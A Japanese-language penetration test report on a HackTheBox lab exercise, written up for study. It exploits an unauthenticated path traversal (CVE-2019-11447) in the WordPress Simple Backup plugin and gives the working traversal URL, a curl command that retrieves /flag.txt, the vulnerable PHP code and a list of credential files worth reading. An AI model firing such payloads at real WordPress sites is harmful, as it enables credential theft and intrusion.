
WordPress Simple Backup プラグインにおける未認証のパストラバーサル(CVE-2019-11447)を実証する詳細なペネトレーションテストレポート。攻撃手順、影響分析、および修復ガイダンスを含みます。
| 項目 | 詳細 |
|---|---|
| ドキュメントタイトル | ペネトレーションテストレポート - WordPress パストラバーサル |
| クライアント/試験 | HackTheBox Lab - CPTS Exercise 1 |
| 日付 | 2026年8月22日 |
| 評価者 | Fernando Viana (ペネトレーションテスター) |
| 評価タイプ | グレーボックス (外部、認証情報なし) |
| ラボ環境 | 154.57.164.73:30706 |
| ラボ所要時間 | 1時間 |
| 目的 | 脆弱性を特定・悪用し、制限されたファイルを取得する |
| 取得フラグ | HTB{my_f1r57_h4ck} |
154.57.164.73:30706 でホストされている Web アプリケーションの本ペネトレーション評価において、未認証の攻撃者がサーバーのファイルシステムから任意のファイルをダウンロードして読み取ることを可能にする重大な脆弱性が特定されました。
脆弱な WordPress インストールには、認証や承認を必要とせずに不正なファイルアクセスを可能にするパストラバーサル脆弱性 (CVE-2019-11447) を持つ古いプラグイン (Simple Backup v2.7.10) が含まれています。
この脆弱性は、サーバールートから /flag.txt ファイルを取得するために悪用され、機密性の完全な侵害が確認されました。このアクセス権を持つ攻撃者は以下のことが可能です:
wp-config.php、.env) の抽出この脆弱性は、データセキュリティ、プライバシーコンプライアンス (GDPR、HIPAA、PCI-DSS)、およびシステムの整合性に対して極めて高いリスクをもたらすため、直ちに修復するための重大な対応が必要です。
| 重大度 | 件数 | ビジネスへの影響 |
|---|---|---|
| 🔴 クリティカル | 1 | 機密性の完全な侵害、不正なファイルアクセス |
| 🟠 高 | 0 | — |
| 🟡 中 | 0 | — |
| 🟢 低 | 0 | — |
| ℹ️ 情報 | 1 | 古いソフトウェアバージョンを検出 |
評価タイプ: グレーボックス (外部攻撃者、認証情報なし、ネットワークアクセスあり)
評価日: 2026年8月22日
テストアプローチ: 業界標準のペネトレーションテストフレームワーク (PTES) に従った、非回避的かつ体系的な評価:
CVE-2019-11447 | CWE-22: パス名の制限ディレクトリへの不適切な制限
WordPress プラグイン Simple Backup (バージョン 2.7.10/2.7.11、Exploit-DB 39883) は、管理画面の「Backup Manager」ページにパストラバーサル脆弱性を抱えています。このプラグインは、download_backup_file GET パラメータを通じて提供されるファイルパスをサニタイズできていないため、攻撃者は相対パスシーケンス (../) を使用して意図された simple-backup/ ディレクトリの外に移動し、Web サーバープロセスが読み取り可能な任意のファイル (ファイルシステムルートにあるファイルを含む) をダウンロードすることができます。
脆弱なエンドポイント:
GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
page=backup_manager はリクエストをプラグインの管理ページハンドラーへルーティングします。download_backup_file はプラグインのコードが直接読み取り、検証なしでファイルシステムパスに連結するパラメータであり、ディレクトリトラバーサルを可能にします。
7.5 - HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
機密性の侵害: ⚠️ 重大
攻撃者はWebサーバーがアクセス可能な任意のファイルを読み取ることができます。これには以下が含まれます:
| ファイル | 影響 | リスクレベル |
|---|---|---|
/wp-config.php | データベース認証情報、ソルト、キー | 🔴 重大 |
/.env | APIキー、シークレット、設定 | 🔴 重大 |
/etc/passwd | ユーザー列挙、システムマッピング | 🟠 高 |
SSHキー (.ssh/id_rsa) | 横展開、システムアクセス | 🔴 重大 |
/proc/self/environ | 実行中のアプリケーションのシークレット | 🟠 高 |
| ユーザーアップロードディレクトリ | プライベートファイル、メディア | 🟠 高 |
規制への影響:
Exploit-DBのアドバイザリ (39883.txt、searchsploit -x で閲覧 — ht4-poc.png を参照) は、simple-backup-manager.php にあるプラグインの delete プリミティブを文書化しています:
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
$bk_dir = ABSPATH."simple-backup/";
unlink($bk_dir . $filename);
$filename は $_GET['delete_backup_file'] から直接取得されており、basename() やパス包含チェックが一切ありません。../pizza.txt を渡すと、$bk_dir . $filename は .../simple-backup/../pizza.txt → .../pizza.txt と解決され、意図されたバックアップフォルダの外へ脱出します。
この攻撃で実際に悪用された download プリミティブ(download_backup_file)は、同じプラグイン内でまったく同じ無害化されていない連結パターンに従っていますが、ファイルを削除する代わりにリクエスト元へ返します。これにより、ファイルシステムのルートから /flag.txt を取得できました(ABSPATH/simple-backup/ から 10 回の ../)。
問題点:
basename() が使われていないrealpath() が ABSPATH."simple-backup/" 内に留まることを検証していないcurrent_user_can() / 認証チェックがない — ハンドラはプラグイン読み込み時に実行され、WordPress 自身の wp-admin 認証ゲートより前にあるため、ログインしていなくても到達可能ブラウザ経由でターゲット(http://154.57.164.73:30706/)に直接接続しました。WordPress インストールのタイトルは "GETTING STARTED" で、ホームページ上の公開ブログ記事がプラグイン名とバージョンを平文で開示していました: "Simple Backup Plugin 2.7.10 for WordPress" — 脆弱なコンポーネントを特定するために列挙ツールすら必要ありませんでした。

whatweb http://154.57.164.73:30706/
結果: Apache/2.4.41 (Ubuntu Linux)、WordPress 5.6.1 が MetaGenerator および WordPress プラグインのシグネチャによって確認されました。

searchsploit simple backup wordpress
結果:
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

完全なアドバイザリを読んで、正確な脆弱なパラメータとコードパスを理解する:
searchsploit -x php/webapps/39883.txt
このアドバイザリは、delete_backup_file パラメータを介した未認証の 任意ファイル削除 について文書化しており、simple-backup/ 配下のバックアップファイル(および同じサニタイズされていないコードパスを通じて、download_backup_file を介した任意のファイル)が認証なしで取得可能であることを指摘しています。

download_backup_file を介したパストラバーサルプラグインの管理ページルーティングから特定された脆弱なエンドポイント:
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
エクスプロイトペイロード(ABSPATH/simple-backup/ からファイルシステムのルートまで遡るための10個の ../):
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
GUI(本評価で使用): ペイロードURLはブラウザのアドレスバーに直接入力してアクセスしました。ログインは不要で、ブラウザが解決された flag.txt の自動ファイルダウンロードをトリガーしました。

ヘッドレスでの同等操作:
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
取得したフラグ: HTB{my_f1r57_h4ck}
この脆弱性が成立する理由は次のとおりです:
$_GET['download_backup_file'] がホワイトリストと照合されていないrealpath() が使用されておらず、ファイルが simple-backup/ 内に留まっていることを検証していない../)がフィルタリングされていないABSPATH."simple-backup/" に直接連結されているwp-admin 認証ゲートより前に動作する — ログアウト状態でも到達可能current_user_can() チェックがなく、リクエスト元が要求されたファイルにアクセスすべきかを確認していない